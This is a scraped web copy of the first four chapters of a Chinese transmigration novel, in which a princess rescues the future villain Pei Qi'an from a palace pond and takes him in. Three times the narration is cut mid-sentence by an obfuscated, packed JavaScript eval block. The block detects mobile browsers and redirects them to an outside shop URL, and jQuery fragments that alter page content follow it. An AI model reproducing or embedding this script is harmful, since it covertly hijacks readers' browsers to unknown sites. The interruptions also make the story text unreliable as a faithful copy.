《公主养大的反派又造反了》 1. 第 1 章 文靖元年,正月初一,新帝正式继位的第二个月。 家家户户悬灯结彩,窗外隐约传来遥远的爆竹声。 玉芙宫内炭火烧得足,暖意浓浓,却驱散不了赵锦瑜心头的恍惚。 穿书至今月余,她还是会对着铜镜中这张嫩得能掐出水的小脸出神。 大晋王朝的赵锦瑜,如今只有十三岁,是原书里那位因为走了狗屎运而被迫登上皇位的新帝的嫡长女。 原书是她在备考期间为了缓解压力而看的,当初看时,除了对书中这位与自己同名同姓的公主记忆犹新外,那位自带锦鲤体质的新帝,也给她留下了深刻的印象。 文靖帝乃仁景帝胞弟之子,原为靖王,性格温润淡泊、喜诗书,对朝堂纷争毫无兴趣,其父早逝,存在感极低。 仁景帝晚年,四子夺嫡。先帝薨逝,三皇子于夺嫡之争中胜出,改元武康。但因在夺嫡中被人下毒,继位仅仅一月,便也薨了。他唯一的儿子,也在十岁那年因亲兄弟的手段,失足坠马,右脚筋络受损,终身跛脚。因其不良于行,朝臣无法接受一个患有残疾的帝王,如此一来,身为宗室旁支的靖王便被推了上来,加之其无党无派,反而得到各方势力认可,于是被动登基。 赵锦瑜再次看向镜中人,思绪却又飘向了原主一家轻飘飘又沉重无比的命运。 好运并未长久眷顾原主一家,这一家子,不过都是原剧情中的炮灰罢了。至于原因,确实算得上与原主相关。 在未来某个无关紧要的时刻,原主与其皇弟赵锦辰偶然遇见被欺辱的男主,姐弟俩并未制止,赵锦辰甚至还说了几句风凉话,而原主也只当看不见。 由此,那日所发生的一切,都被尚且年少的男主狠狠记在了心底。待他日后兵权在握,黑化归来,这点微不足道的私怨,也成了颠覆整个王朝的导火索之一。 想到此,赵锦瑜对着镜中华服在身的自己扯出一抹略带苦涩的笑。她从笔试到面试一路过关斩将,明明刚拿到体制内的入场券,却在入职前一天穿书了,一觉醒来,就成为了如今坐在这任由宫女梳妆打扮的赵锦瑜。 “公主。”轻柔的询问声打断了她的沉思,宫女灵姝手心里放着两支步摇,含笑问道:“公主今日想带哪支步摇?” 赵锦瑜收敛心神,目光落在两支华美的步摇上,在她看来都挺好看的,但她不敢轻易抉择。她虽继承了原主全部记忆,也知晓原主的脾性喜好,可骨子里毕竟还是个现代人,生怕一个不慎露了馅。 她弯了弯唇角,将问题轻巧地抛了回去,“你们觉得哪支更好?” 侍立一旁的掌事宫女清梧闻言,仔细端详片刻后,温声建议:“奴婢觉得,赤金嵌珠的这支更显庄重大气,与公主今日的服饰相得益彰,鎏金蝴蝶这支虽精致,但在元日宴这般场合,反倒显得轻俏了些。” 灵姝顺势点头,“奴婢觉得清梧姐姐说得在理。” “那就听你们的。”瞧着两人一唱一和的模样,赵锦瑜笑着点点头,这二位都是自小跟在原主身边伺候的人,在年岁上,清梧长四岁,灵姝长两岁。如今搬入了皇宫,她们二人也仍旧留在了原主身边,都是忠心耿耿的人。 灵姝应了声“是”,便将那支赤金嵌珠步摇插入她浓密的发髻之间。 “时辰差不多了,走吧。”赵锦瑜站起身,绣金宫装裙摆拖地,行走时裙摆摩擦地面。她隐约记得,男主也参与了今日的宫宴,如今的他,似乎也才九岁,或许……自己还有机会,能为这个意外“继承”来的家,谋得一线生机。 - 太和殿内,灯火璀璨。 帝后高踞上位,两侧先是包括公主、皇子们在内的宗室亲贵,紧接着便是按品级排列的核心朝臣及其家眷。 赵锦瑜的位置距离文靖帝最近,待所有人都入席就坐,她抬起眼眸,目光扫过下方那些陌生的面孔。 她在寻找,寻找那个会在未来终结如今这番太平光景的源头。 兵部尚书裴宗烨及其家眷的位置较为靠前,来到这后,赵锦瑜碰上过裴大人一回,故而很快便锁定了他与其夫人的位置。 裴尚书应是还不到四十,即便是脸上已落下岁月的痕迹,但依旧能瞧得出年轻时俊朗的模样。在他的身边,想必就是尚书夫人了,也就是原剧情中最不待见男主的人。 裴家庶子庶女并不少,但因男主是妓子所诞下的私生子,尚书夫人不仅暗中解决了他的生母,更是险些将他丢往城外的乱葬岗。还是裴尚书念在血缘亲情,才保下了他一条命。 余光中,尚书夫人扭头向身后跟随的嬷嬷说了两句话,那嬷嬷福身后便朝着主殿后排的子女席而去。 赵锦瑜目光悄无声息地跟随,在嬷嬷停住步伐的瞬间,她的视线便定格在了那个几乎被阴影覆盖的孩童身上。 他穿着明显不那么合身、料子也逊色几分的靛蓝色袍子,那袍子瞧着扁扁的,想来也挡不住多少寒风。 他安安静静坐在那儿,与周围其乐融融的裴家其他人格格不入。他脑袋微低,看不清全貌,只能见到瘦削的下颌,可即便如此,赵锦瑜依旧能感受到他那周身散发着的一种生人勿进的阴郁气息。 这就是裴祈安,未来会架空裴家、将兵权牢握手心,最后权倾朝野的男主。 就在赵锦瑜默默观察时,原本低垂着头的裴祈安仿佛感受到了她的视线,毫无征兆地抬起了眼眸。 四目相对。 赵锦瑜心头猛地一跳,她清晰看见了裴祈安眼神变化的过程。在抬眼的瞬间,他眼中那原本沉积着的阴郁,就如同被风吹散的薄雾那般褪去,瞬间换上了一种带着几分茫然的无辜神色。 真是好厉害的伪装…… 一丝寒意从赵锦瑜心底缓缓升起,真不愧是男主啊。这层无辜的保护色,恐怕就是他在裴家这个吃人的环境中赖以生存的铠甲。 赵锦瑜稳住心神,隔着满殿的灯火,对着那双已然变得明亮清澈的眼睛微微露出一抹笑。与此同时,回应她的则是对方那一丝恰到好处的怯生生的不安。 可真是个高手啊…… 然而更令她心头沉重的,是根据原剧情,就在今晚这场元日宴上,裴家那个最小的男孩、同时也是尚书夫人所出的嫡子,会淹死在太和殿外的景明池内。 虽然起因是那孩子仗着家中其他人的宠爱,对裴祈安挑衅辱骂,甚至还动手推搡,才导致在两人争执间自己意外落了水,但这一次,裴祈安也确实收回了原本想要拉住弟弟的手。 这是裴祈安手上沾染的第一条人命,哪怕不是他主动引起的,却也是他彻底斩断软弱、迈向黑化的第一步。 必须要阻止这件事。 如果能在悲剧发生前进行干预,或许……还能在他那尚未彻底被复仇占据的心里,留下一丝回旋的余地。 宴会的后半程,赵锦瑜始终分出一缕心神,目光若有若无地萦绕在裴祈安的方向。 时间在歌舞升平中一分一秒流逝,终于,在赵锦瑜又一次状似无意般地瞥过去时,她看见裴祈安微微侧头,同他身后侍立着的一名随从低声说了句什么。 在那随从点头之后,裴祈安便站起身,悄无声息地沿着侧殿朝外走去。 按照常理与原书中隐晦的提示,赵锦瑜猜测他多半是净手去了。 她按捺住性子,端起面前的杯盏抿了一小口,目光仍旧在裴家子女那桌打转。果不其然,没过多久,那个只比裴祈安小一岁、被尚书夫人宠得有些无法无天裴昭钰,扭动着身子往后挪了些,在无人注意到他的时刻,也离开了席位,朝着裴祈安离开的方向跟了过去。 赵锦瑜不再犹豫,放下手中杯盏,用锦帕轻轻摁了摁嘴角,而后转头对身后的两人低语:“殿内有些闷,我想出去透透气,不必惊动他人,你们随我出去便是。” 两人应声点头,并未多言。两人一人去取赵锦瑜的大氅,一人小心搀扶着她起来。 主仆三人同样沿着侧殿的路径,走出了热闹的太和殿。 来到殿外的瞬间,寒冷的空气扑面而来,赵锦瑜头脑瞬间清醒,现在可能就是改变既定剧情的关键节点,就目前而言,抓紧找到裴祈安, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201992|197226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她最紧要的事。 她回忆着书中提及的事发地点,加快脚步朝那走去。 然而,她刚拐过一个回廊,还未走出多远,身后便传来一道清亮的呼唤声——“阿姐!阿姐等等我!” 赵锦瑜脚步一顿,只听声音,她便知道身后那是谁了。 她转过头,就见她的同胞弟弟,大皇子赵锦辰正从一根廊柱后探出身来,脸上带着做了坏事那般兴奋的表情。 他与裴祈安同岁,今年也不过九岁,从小性子就跳脱。 此刻,他的一张小脸被冷风吹得微红,眼睛却亮晶晶的,一路小跑到赵锦瑜跟前,扯住她的衣袖,小声抱怨着:“阿姐出来透气怎么也不叫我,殿里闷死人了,那些歌舞翻来覆去也是一个样,当真无趣。” 赵锦瑜看着眼前天真烂漫的弟弟,想起了在原书中他那因为一时口快同样未能幸免的结局,心头不由一紧。原主这阿弟,虽顽皮些,心却不坏,结局不应如此。 “胡闹什么呢?”赵锦瑜低声朝他道:“若是被母后发现,仔细你的皮!外头风大,快些回去。” “好阿姐——”赵锦辰拖长着尾音,双手仍旧扯着她的袖扣不放,“我就跟你待一会儿,母后不会发现的。”他仰着圆乎乎的小脸,嘴角咧开,露出那颗尖尖的小虎牙,“我听说前几日内务府往景明池内放了好几条罕见的锦鲤,还没机会去看过呢,阿姐带我去瞧上一瞧吧。” “不行。”一听他也要去景明池,赵锦瑜语气坚决。这傻弟弟此刻跑去,万一撞见什么不该看的……她简直不敢想,“夜里能瞧得清什么?你若是想看,等白日里,阿姐再带你去。” “我不嘛!”赵锦辰仗着平日里阿姐的疼爱,开始耍赖,“夜里打着灯瞧,说不定别有一番景致呢!好阿姐就带我去吧,否则我……我就自己去了!”说着,便作势要往前跑。 “站住!”赵锦瑜又气又急,眼看时间一点点流逝,若再耽搁,怕是真要来不及了。若放任这小魔王乱跑,风险更大。 她深吸一口气,反手拉住赵锦辰的手腕,压低声音,带着平日里没有的严肃,“好,带你去可以,但你必须跟在我后头,不许乱跑,不许大惊小怪,一切都要听我吩咐。你若答应,我便带你去。” 赵锦辰见阿姐松口,忙不迭地点头,“答应的答应的!” “记住你的保证。”赵锦瑜深深看他一眼后,便不再多言,转身继续朝着景明池的方向快步走去。 姐弟二人刚绕过一片梅树林,景明池边形态崎岖的假山便映入了眼帘。而就在那假山旁,果然有两道正拉扯在一起的小小身影! 赵锦瑜的心瞬间提到了嗓子眼,与此同时,赵锦辰也瞧见了不远处的人影,“阿姐,竟有人比我们还先到!” 赵锦辰声音不小,赵锦瑜刚要阻止,就见裴家那幼子裴昭钰正大力地推了裴祈安一把,嘴里似乎还在不干不净地骂着什么。 距离稍远,听不真切,但那嚣张的气焰,饶是一向心大的赵锦辰都察觉到了。 裴祈安虽比裴昭钰长一岁,但身形却要比他更为瘦弱,在这大力一推之下,背脊重重撞在了假山凸起的石头上。 虽灯火暗淡,但赵锦瑜分明瞧见了一直隐忍的裴祈安在被推后的变化,那一刻,他眼中闪过一丝难以遏制的戾气。 然而,就在他准备还手的瞬间,目光极其敏锐地穿透昏暗的光线,精准地捕捉到了不远处的四人。赵锦瑜甚至能感觉到,他那冰冷的目光,似乎还在自己的脸上短暂地停留了一瞬。 紧接着,便发生了让赵锦瑜血液几乎倒流的一幕—— 因察觉到有人,裴祈安抬起手后便没了下一步动作。这一举动,巧恰让裴昭钰更为恼怒,他再次扑上来,用尽力气推向裴祈安的胸口。 而裴祈安,许是想要避开身后硌人的石头,身子往旁边一斜。于是,便在裴昭钰推来的力道下,整个人往后一仰。 “噗通!” 一声巨大的落水声打破了夜的寂静。 裴祈安掉入了景明池内,剧情发生了改变! 2. 第 2 章 “阿姐!他掉下去了!”赵锦辰吓得惊叫出声,也是这一声,让裴昭钰猛地回头。 他目光惊恐地看向目睹这一切的几人,脸上瞬间血色尽失。 赵锦瑜感觉自己的心脏几乎都要跳出来了,这可是男主啊!他可是这个世界的气运之子!要是男主就这么死了,这个世界会不会就此崩溃? 她的脑子里只有一个念头:绝对!绝对不能让男主死在这! “清梧、灵姝!快!快去叫人!”赵锦瑜的声音里带着自己都没察觉的颤抖,吩咐完后,她一个箭步冲到池边。 裴祈安挣扎着浮在水面上,双手无力地拍打着水面。 赵锦瑜顾不得别的,立刻俯身伸手,尽力去够水里的人,冰冷的池水瞬间浸湿她的衣袖,她急切地喊着:“快!抓住我!” “救、救救我。”裴祈安奋力将手往上伸,可他几乎快没力气了,还是一点点向下沉去。 好在侍卫就在不远处,来得及时。两名侍卫毫不犹豫地跃入池中,很快便将已然停下挣扎、昏迷过去的裴祈安抱上了岸。 这边的动静也惊动了太和殿的诸位。 文靖帝、周皇后、裴宗烨及其夫人,连带一众被惊动的宗亲朝臣匆匆赶来时,便看到了这样一副混乱的景象—— 裴祈安浑身湿透、脸色青白地躺在地上。赵锦瑜袖口也湿了一片,正将自己的大氅解下,往裴祈安身上裹去。赵锦辰则是一脸紧张地站在阿姐身边,盯着地上不省人事的那位。 而直到自己闯了祸的裴昭钰早已吓得魂不附体,见到尚书夫人后,立刻扑倒尚书夫人怀中,“哇”地一声哭了出来。 “这是出什么事了?”见自己的一双儿女无异样后,文靖帝松了口气,又在看到昏迷不醒的裴祈安时眉头微蹙,“这是谁家孩子?怎么弄成这般模样?” 裴宗烨急忙携夫人跪地行礼,“启禀陛下,此乃我儿。” “父皇!”赵锦辰见到文靖帝,立刻上前告状,他抬手指向还在抽泣的裴昭钰,“就是他!我和阿姐都瞧见了,就是他把人推下水的!” 闻言,尚书夫人脸色发白,连忙解释:“陛下恕罪,钰儿年纪小,不懂事,定是与他兄长玩闹时失了分寸……” “我看他就是故意的!”赵锦辰可一点儿不给人面子,继续道:“他还推了好几下呢!” “父皇。”赵锦瑜适时开口,声音轻柔却清晰地打断了这略显嘈杂的环境,“裴家公子呛了水,身上又冷得很,耽搁久了恐怕要生大病,还是快传太医医治吧。” 文靖帝闻言,十分赞赏地看了女儿一眼,立刻从善如流道:“锦瑜说的是。”随即便吩咐左右,“快,将人小心送去最近的暖阁,穿太医速来诊治。” 待内侍领命,文靖帝这才将目光转向仍旧跪在地上的裴宗烨,“裴爱卿,既是你家中孩儿间的玩闹意外,朕便不多加干涉了。只是——”他语气微沉,带着劝诫之意,“孩子们年岁渐长,尤其是男儿间的相处之道,还是需要多加关注引导。” 裴宗烨深深叩首,“臣遵旨,臣定当严加管教,谢陛下隆恩!” 尚书夫人也明显松了口气,连忙拉着裴昭钰谢恩。 暖阁内,太医来得很快,立刻上前施救。 约莫小半个时辰,元日宴结束,文靖帝与周皇后来到暖阁,一同前来还是记挂着男主情况的赵锦瑜和想凑热闹的赵锦辰。 瞧见这一众人前来,裴宗烨与其夫人连忙躬身行礼。 暖阁内炭火烧的足,药味弥漫。太医刚为裴祈安施完针,又灌下了驱寒的汤药,出来后见帝后亲临,也是立刻躬身行礼。 “那孩子如何了?”问出这话的是周皇后。 “启禀陛下、娘娘,裴公子落水后呛入了些寒水,加之……”太医顿了顿,斟酌了一下用词,“似乎还受了些惊吓,裴公子身子本就偏弱,此刻已发起热来,人醒了一会儿,精神不济,又昏睡过去了,还是需要好生静养。” 闻此言,周皇后眼中掠过一丝怜悯,柔声开口道:“既是如此,来回折腾反倒不好,今夜不如就让这孩子在宫里住下,等明早太医再来瞧瞧,稳妥些再回府也不迟。” 裴宗烨连忙推辞:“臣叩谢陛下、娘娘天恩,只是犬子身份卑微,滞留宫内,实在于理不合。” 文靖帝摆了摆手,语气温和却不容置疑,“皇后说得在理,裴爱卿就不必推辞了,眼下孩子身体要紧,宫里太医照应着总归方便些,就这么定了吧。” 皇帝金口已开,裴宗烨夫妇不敢再多言,只得再次谢恩,便怀着复杂的心情告退出宫了。 一场风波似乎暂时平息了。 回到玉芙宫,赵锦瑜屏退了其他宫人,只留下清梧和灵姝。 殿内烛火摇曳,映出她若有所思的脸庞。 “清梧。”思索片刻后,她开口道:“你再去一趟裴公子休息的暖阁,看看那边情况如何,再叮嘱当值的宫人务必尽心照料。” “是,公主。”领命后,清梧悄无声息地退了出去。 一旁灵姝细心地将一杯安神茶递到赵锦瑜眼前,轻声道:“公主今日也受惊了,喝一杯安神茶吧。” 赵锦瑜端起温热的杯盏,氤氲的热气缓缓上升。抬眼的瞬间,便对上了灵姝充满好奇的双眸。 “怎么了?”她抿了一口,“是想问什么吗?” 灵姝抿唇一笑,不再顾忌,“奴婢只是觉得,公主似乎对那位裴家那位小公子……格外关照些?” 赵锦瑜沉默一瞬,缓缓道:“只是……看他怪可怜的。” 这话半真半假,怜悯确有,但更多的,是一种源自于知晓未来的不安。 “那倒是。”灵姝默默点头,“裴家这位小公子的身世也不是秘密,奴婢曾经听说过,不仅是裴家其余人不待见他,连同那些一起念书的官员子女,也总会戏弄他。” 清梧回来得很快,禀报说裴祈安此刻已经睡熟,热度虽未退,但呼吸已经平稳许多,暖阁那头也安排了妥帖的人伺候着。 赵锦瑜稍稍安心,这才洗漱歇下。 只是这一夜,她睡得并不安稳,梦中尽是冰冷的池水以及裴祈安求救时望向自己的眼神。 次日一早,天刚蒙蒙亮时,赵锦瑜便醒了。心里还记挂着裴祈安那边的情况,她也无心赖床,早早起来梳洗后,便带着清梧和灵姝往裴祈安歇息的暖阁走去。 清晨的宫道相对寂静, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201993|197226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有洒扫的宫人低头在忙碌。暖阁外值守的太监见公主这么早过来,连忙躬身行礼,“奴才参见公主。” 赵锦瑜点头示意,轻声问他:“裴公子如何了?可有醒过?” “醒了醒了。”太监立刻回复:“昨个夜里裴公子睡睡醒醒,但已经不发热了,半个时辰前已有宫女服侍着喝下汤药,此刻许是又睡了。” “好,我知道了。”赵锦瑜越过太监,示意他不必声张,又转头告知清梧与灵姝,让她们二人留在外头,随之轻轻推开暖阁的门。 屋内的药味尚未散去,炭火维持着恰好的温度。 她放轻脚步走到床榻边,原以为榻上那人定在熟睡,却不想,径直对上了一双已经睁开的眼睛。 裴祈安靠在床头,脸色仍旧有些苍白,此刻他的眼神,充满了小心翼翼的打量。 他看着她,眉头微微蹙起,像是在努力辨认什么。最终,在嘴唇瓮动几下后,带着几分不确定的犹豫,试探性地换了一声:“……阿姐?” 这一声如同惊雷般,在赵锦瑜耳边炸开。 怎么就阿姐了? 她的脑中出现了一瞬间的空白,眼神不由露出几分狐疑来。她瞧着面前还未长大的男主,突然蹦出一种猜测。 男主莫非是失忆了? 她一个路人甲都能穿书,那身为男主失个忆,好似也不是多奇怪的事情,加之昨夜发生了落水一事,也更坐实了失忆的可信度。 “你……什么都不记得了?”反应了几秒后,赵锦瑜试探着问道:“可还记得昨夜发生了何事?” 裴祈安先是摇头,而后又轻轻点头,说话时眉头皱得很紧,像是在在努力回忆,“我只记得自己在水中,想必……应是不甚落了水,然后……看到阿姐奋力想要拉我。” 话落,他将目光重新聚焦到赵锦瑜脸上,“我想……对我这样好的人,应当就是我阿姐吧……” 赵锦瑜沉默地看着他,分明是同样一双眼睛,可里头的东西与昨日全然不同,此刻这双眸子清澈见底,能看到的只有茫然、期待、以及一丝不易察觉的紧张。 这是真失忆了啊…… 下一秒,一个念头猛地出现在赵锦瑜脑海中。 男主失忆了,这意味着什么? 意味着原书里那个会让她全家下线的裴祈安,此刻只是一张白纸。既然这棵歪脖子树还未长成,自己为何不趁此机会,将其扭正? 如果能将他引上正途,能将他心中的暴戾与仇恨于无形中化解,那岂不是从根本上解决了自己眼前的危及?更何况裴祈安可是书中最厉害的人物,如果能让他信任自己,将自己视为亲人,那后半辈子完全不用愁了! 风险固然有,但收益……实在太诱人了。 想到这里,赵锦瑜下定决心。她的脸上露出几分恰到好处的怜悯与温柔,轻轻摇了摇头,声音柔和却清晰,“其实……我并不是你阿姐。” 此话一出,她便看到了裴祈安眼中的失落与无措,仿佛一只即将被抛弃的小兽。 但紧接着,她话锋一转,目光坚定地看着他,“但,如果你愿意,从今日起,我也可以是你阿姐。我会照顾你,教导你,你……可愿意?” 3. 第 3 章 周皇后眉头微蹙温和却带着不赞同,“阿瑜,母后知你心善,但那毕竟是裴尚书的儿子,哪有养在宫中的道理?这于理不合啊。” “是啊,你母后说得对。”文靖帝点了点头,“我昨日留他在宫中养病已是破例,若长期留在宫中,裴爱卿面子上也不好看。” 赵锦瑜早料到他们会这么说,脸上带着几分忧虑道:“儿臣自然明白父皇母后的顾虑,可那孩子身世可怜,明明与锦辰同岁,却要比锦辰足足矮上半个头。” 说到这,她停顿片刻,观察着两人的神色中均多了一分怜悯,继而接着道:“昨夜落水一事,虽说是过去了,可明眼人都能瞧出,此事绝非意外这么简单。因着身世,他在家中处境艰难,此番回去,亦不知要受多少蹉跎。能不能平安长大尚且难说,在此种环境下,日日受尽冷眼欺凌,万一将来长成一个心中只有仇恨、心性偏激之人,那就真的太可惜了。” 她这番话,既点明了裴祈安此前的处境,又暗示放任不管可能会带来的后果。 帝后相视一眼,神色间果然多了一丝犹豫。 “我从前听说过一些裴家那孩子的情况,是个非常聪慧的孩子,若是误入歧途的确可惜。但……”周皇后沉吟一声,叹了口气,“终究是别人家的孩子,没有强要过来的道理。” “是啊。”文靖帝附和道:“再说,裴尚书定也不会同意。” 见他们态度有所松动,赵锦瑜知道时机到了。 她抛出早已想好的方案,“父皇、母后,儿臣倒是有个两全其美的法子。既不会让裴尚书觉得难堪,也能让那孩子换一个好的环境。” “哦?”文靖帝眼前一亮,瞬间来了兴趣,“说来听听。” “锦辰不是一直不爱读书,令太傅头疼不已嘛?”赵锦瑜目光看向文靖帝,“儿臣听闻,这裴祈安在读书上却极有天赋,只是在家中备受打压,如若让他以伴读的身份入宫,陪伴锦辰读书呢?” 她顿了顿,又观察了周皇后的神色后,继续道:“我们只需对外说,锦辰与裴祈安颇为投缘、一见如故,锦辰想要有个伴读一同进学,而裴祈安资质尚可,可担此任。这样一来,裴尚书面上有光,断不会拒绝。更何况,儿臣认为,锦辰的确需要一个可靠的伴读在身旁。” 文靖帝扬着下巴,沉吟片刻,“此法……听起来倒是还行,只是……”他心中仍旧有些顾虑,觉得为了一个臣子之子如此大费周章,似乎有些过了。 赵锦瑜看出文靖帝的犹豫,心知自己必须再添一把火。她将声音压低些,语气变得更为谨慎:“父皇、母后,儿臣其实还有一层顾虑。儿臣知晓,如今朝堂之上有许多大臣都盯着父皇让您广纳后妃,您不愿,大臣们又拗不过您,只得将更多的目光放在两位弟弟身上。” 文靖帝与周皇后年少相识,青梅竹马结为连理,早有“一生一世一双人”之盟。登基之后,朝臣们屡屡进言,文靖帝皆婉拒,执意不违初心,与后相守。在一些固执老臣的言辞恳切下,文靖帝依旧不为所动,称若继续相逼,便愿退位让贤。自此,众臣再不敢提及广纳后宫之事,只是对皇子们的成长更为上心。 她又提及自己的三个弟妹,“锦珩与锦宜乃同胞所出,尚不足五岁,故而多数人都对锦辰的成长颇为关注。若能有个品行端正、读书勤勉的伴读在身旁,儿臣认为,在此事上便能少一分不必要的关注。” 这话说得含蓄,但帝后瞬间就明白了其中的深意。 文靖帝目光骤然变得深邃起来,她重新审视着眼前的女儿,周皇后也是若有所思。两秒后,文靖帝缓缓笑出声,“不愧是我女儿啊,小小年纪便能为你父皇我分忧了。” 又是一阵笑声,再开口,语气中带上了一丝赞许与决断,“锦瑜所虑,甚是周全,就依你所言,我会亲自去与裴尚书谈。” “谢父皇、母后!”心中的一块大石头终于落地,赵锦瑜朝二人深深一拜。 - 文靖帝速度很快,那日之后,他便招裴宗烨入了宫,最终结果也同他们所料想那般,裴宗烨没有理由拒绝,思虑过后便应下了此事。 赵锦瑜再次见到裴祈安,是两日后的一个午后。 她听清梧带来的消息,说是人已经无大碍了,便想着去男主面前刷刷脸。 只是才刚踏入屋内,便听见一道熟悉又气急败坏的声音,清凉凉地穿透门扉—— “我才不要你当我的伴读!” 赵锦瑜脚步一顿,身后的清梧与灵姝交换了一个无奈的眼神。果然如她们所想的一样,这小祖宗知道后定会闹起来。 暖阁内,赵锦辰正叉着腰,鼓着小脸,气呼呼地瞪着半靠在床榻上的裴祈安。 裴祈安已经换上了一身宫中准备的,干净合体的素色寝袍,脸色比上回见时红润了些,但精神还算不得太好。 他安静坐着,面对赵锦辰的怒气,只是微微垂着眼帘,长长的睫毛覆盖下来,看不出脸上的情绪,唯有那放在被子上的手指无意识地蜷缩了一下。 “锦辰,不得无礼。”赵锦瑜将视线从他的手上挪开,出声后又走近了些。 “阿姐!”见到她,赵锦辰立刻像是找到了靠山,跑过来拉住她的衣袖,委屈地告状:“阿姐你听说了吗?父皇要他给我当伴读,那今后岂不是又多一个人盯着我?我才不要呢!” 赵锦瑜拍了拍弟弟的手,语气平和:“有个人陪你一同进学,就能相互探讨,总比你一个人闷头读书要有趣些。” 她并未多说,也没有透露这个主意其实是出自自己。 赵锦辰虽仍噘着嘴,但见阿姐丝毫并不反对,就知道这事已经没有回旋的余地了,气焰顿时消下去大半,嘟囔道:“那……那他要是学得比我还差,拖我后腿怎么办?” “那就比比谁更用功。”赵锦瑜笑着在他头顶一揉,“好了,你先回去吧,裴小公子身体还未大好,就别在这打扰他休息了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201994|197226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 赵锦辰不情不愿地“哦”了一声,又在转身之际瞪了裴祈安一眼,才离开了暖阁。 暖阁内恢复了安静,清梧与灵姝无声地退至门边守候。 赵锦瑜缓缓朝床榻走去,而后便往边沿一坐,静静地看着他。他此刻也正抬眸看着她,眼神清明,两日前的混沌已然不在了。 “感觉如何?身子可好些了?”赵锦瑜先开了口,语气中带着恰到好处的关怀。 裴祈安的嘴唇微微动了动,然后一道清晰且稚嫩的声音从他口中传出,“多谢公主关怀,已无大碍了。” 公主。 不是“阿姐”。 赵锦瑜的心缓缓一沉,这失忆的时间也太短了吧?她甚至还没来得及给他灌输任何东西,什么都来不及做呢。 她定了定神,试探着轻声发问:“你……是都想起来了吗?” 闻言,裴祈安轻轻地、带着些许茫然地摇了摇头,声音比方才低了些,显得诚实又带着些困扰,“回公主,并不是都想起来了,许多事还是模模糊糊的,只是隐约有一些记忆,其余的……都是这两天照顾我的宫人告诉的。她们说,是公主您救了我,还说我是兵部尚书家的公子,不慎落水,被您所救。” 他说得缓慢,仿佛在努力拼凑那些陌生的信息。 “公主……”停顿了片刻,他带着迟疑再次开口,声音更轻了,“我……我是不是很不招人喜欢?” 赵锦瑜心头蓦地一颤,两秒后,放柔了声音问:“怎么这么问?” 裴祈安睫毛轻轻颤动了一下,“这两日……除了您与方才的大皇子,在没有旁的人来看过我了。我家里……也没有人来过,连一句问候……也没有。” 午后的光线透过窗棂,柔和地落在他身上。话落,他微微偏过头,看向窗外光秃的枝丫。分明是黄澄澄的光影,却让那小小的身影显得更加脆弱单薄。 赵锦瑜一时不知该如何回答,他所说的,与事实相差无二。安慰显得苍白,解释又没有必要。 “裴祈安。”她的声音平稳且清晰地落入他的耳中,“你没有不招人喜欢,一个人是否被喜欢,并不取决于是否有人来看他。你的家人……对你的确不够上心,但这并非你的过错,也绝不代表你不好。” 在她第一次叫了他名字之际,裴祈安就转回了头。她看到他的睫毛剧烈颤动了一下,呼吸似乎都屏住了。 震惊之余,赵锦瑜注意到他的嘴唇动了动,似乎想说什么,但半天都没开口,仿佛又咽了回去。 “想说什么?”她主动问道。 对上她温和的目光,裴祈安眼底的情绪翻涌了片刻,最终以一种小心翼翼的姿态开口:“那……之前的话,还算数吗?” 赵锦瑜微征,“什么话?” 在她讲这话问出口之际,裴祈安的目光垂落了一瞬,但很快又抬起,紧紧看着眼前之人,“您说的,也可以是我阿姐,还……算数吗?” 4. 第 4 章 “算数。”在看到赵锦瑜肯定的点头后,裴祈安一直紧绷的肩膀终于放松了一丝。 他没有说话,只是又低下了头,良久,才极低地“嗯”了一声,若不是屋内安静,想必都难以传入赵锦瑜的耳中。 又过了好一会儿,像是想要缓解此刻的气氛,他主动将话题引开,“方才,大皇子殿下说的伴读是何意?是与我有关吗?” 赵锦瑜顺势接过话头,语气仍旧温和,“是,和你相关。你日后便留在宫中,给锦辰做伴读,一同进学。裴府……”顿了顿后,她继续道:“平日里你想回去也可以回,若不想回,便安心住在宫里,我母后已为你选好住所。这里,会是你的新起点。” 裴祈安静静听着,而后又慢慢点了点头,“祈安明白了,谢……公主告知。” 看着他低垂的眼眸和恭敬的姿态,赵锦瑜忽然觉得有些有趣,便故意放低了声音,带着一丝打趣道:“怎么还叫公主?方才不是认了我这个阿姐?” 裴祈安闻言,倏地抬起眼帘,一丝窘迫过后,脸颊竟泛起了一层淡淡的红晕。 见他这般模样,赵锦瑜没忍住笑了笑,解释道:“日后在私底下,只要你愿意,便可同锦辰一样,唤我‘阿姐’。但在旁人面前,尤其是公众场合,还是得叫一声‘公主’。” 